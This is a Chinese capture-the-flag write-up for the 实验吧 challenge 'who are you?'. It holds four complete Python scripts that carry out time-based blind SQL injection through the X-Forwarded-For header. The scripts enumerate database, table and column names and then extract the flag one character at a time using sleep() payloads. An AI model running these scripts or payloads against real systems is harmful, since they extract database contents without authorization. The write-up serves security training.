who are you?-实验吧

who are you?

这道题点开看见your ip is :xxx.xxx.xx.xxx

然后试了巨久改ip，改了一堆了还是撤都没有

然后看了大佬的wp的说是时间盲注，试了一下，确实有延迟，然后就用脚本进行时间盲注了

爆数据库

#-*-coding:utf-8-*-
#暴力数据库
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
database = []

print('start.')
for database_number in range(0,100):  #爆破前100个库
    database_name =''
    for i in range(1,100):  #字符串长度最多为100
        flag = 0
        for str in guess:  #爆破该位置的字符
            headers = {
                "X-Forwarded-For":"'+"+"(select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)
            }
            try:
                res = requests.get(url,headers=headers,timeout=4)
            except:
                database_name+=str
                flag = 1
                print('scaning no.%d database.'%(database_number+1),database_name)
                break
        if flag==0:
            break
    database.append(database_name)
    if i==1 and flag==0:
        print('finished.')
        break

for i in range(len(database)):
    print(database[i])

然后就能看到有什么数据库了

爆数据表

这里前面是爆了43个数据库，然后我们猜测是在最后一个数据库

贴波脚本

#-*- coding:utf-8-*-
#暴力数据表
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
tables = []

print('start')
for table_number in range(41,43):
    tablename = ""
    for i in range(1,100):
        flag = 0
        for str in guess:
            headers={
                "X-Forwarded-For":"'+"+"(select case when (substring((select table_name from information_schema.TABLES limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(table_number,i,str)
            }
            try:
                res = requests.get(url,headers=headers,timeout=4)
            except:
                tablename+=str
                flag=1
                print('scaning no.%d database '%(table_number+1),tablename)
                break
        if flag==0:
            break
    tables.append(tablename)
    if i==1 and flag==0:
        print('finished.')
        break
for i in range(len(tables)):
    print(tables[i])

就可以看见最后一个数据库里面有个flag表

接着爆字项，这个也是前面扫了一下有485个列，也是去扫一下最后一列

# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
columns=[]

for column_number in range(484,485):            #爆破后面的
    cloumnname=''
    for i in range(1,100):                  #爆破字符串长度不超过100
        flag=0
        for str in guess:                   #爆破该位置的字符
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select COLUMN_name from information_schema.COLUMNS limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(column_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                cloumnname+=str
                flag=1
                print('scaning the no.%d column '%(column_number+1) ,cloumnname)
                break
        if flag==0:
            break
    columns.append(cloumnname)
    if i==1 and flag==0:
        print('finished.')
        break

for i in range(len(columns)):
    print(columns[i])

可以看到最后一列是有flag的，最后就是暴力出它的值就行了

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.ascii_lowercase + string.ascii_uppercase + string.digits
flag=""

for i in range(1,100):
    biaoji=0
    for str in guess:
        headers={"X-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
        try:
            res=requests.get(url,headers=headers,timeout=6)
        except(requests.exceptions.ReadTimeout):
            biaoji=1
            flag = flag + str
            print( "flag:", flag)
            break
    if biaoji==0:
        break
print( 'result:' + flag)

这样就出来flag了

这个扫出来是真的慢，等到我从一条咸鱼都发霉变成了霉香咸鱼了...............